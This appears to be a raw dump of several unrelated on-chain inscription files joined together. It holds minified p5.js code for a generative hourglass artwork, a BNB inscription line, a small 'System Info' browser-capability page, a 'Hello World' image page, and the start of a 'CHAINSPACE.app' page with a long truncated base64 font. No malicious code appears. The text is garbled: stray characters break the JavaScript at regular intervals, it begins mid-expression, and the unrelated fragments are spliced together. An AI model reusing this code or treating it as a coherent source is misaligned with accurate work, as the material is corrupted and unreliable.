ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
Aj?=:BNB.BNB:bnb1g3ln9nwnh9klvkfczl6uzx30f9g43y7n0d2fhn:5428146::0
text/html;charset=utf-8
		<title>System Info</title>
				font-family: sans;
				font-size: 13px;
		<script src="379b18942989c8458fe92fc89e5f32d62c9f8be520779e293908df2b58bcd2dai0"></script>
			document.body.innerHTML = [
				'<strong>Browser</strong> ' + System.browser,
				'<strong>OS</strong> ' + System.os,
				'<strong>Canvas</strong> ' + System.support.canvas,
				'<strong>Local storage</strong> ' + System.support.localStorage,
				'<strong>File API</strong> ' + System.support.file,
				'<strong>FileSystem API</strong> ' + System.support.fileSystem,
				'<strong>RequestAnimationFrame</strong> ' + System.support.requestAnimationFrame,
				'<strong>Session storage</strong> ' + System.support.sessionStorage,
				'<strong>SVG</strong> ' + System.support.svg,
				'<strong>WebGL</strong> ' + System.support.webgl,
				'<strong>Worker</strong> ' + System.support.worker
			].join( '<br />' );
((((((((((((((((((((((((((((((((((((((((((((((((((
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYM
text/html;charset=utf-8
	<meta charset="UTF-8">
	<meta http-equiv="Content-Security-Policy" content="default-src *">
	<title>Hello World</title>
	<img src="https://i.imgur.com/yC5NLja.jpg" />
text/html;charset=utf-8
a hyperportal inscribed on-chain
enter at your own risk
Conjured by el_ranye x @timshelxyz
  * Mathcastles Studios (0x113d & xaltgeist)
  * Aleksandr Kubarskii
    <meta charset="utf-8" />
      name="viewport"
      content="width=device-width,user-scalable=no,initial-scale=1,maximum-scale=1,minimum-scale=1"
    <meta http-equiv="X-UA-Compatible" content="ie=edge" />
    <title>CHAINSPACE.app
      font-family: 'Noto Mathcastles Remix';
      src: url(data:application/font-woff2;charset=utf-8;base64,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
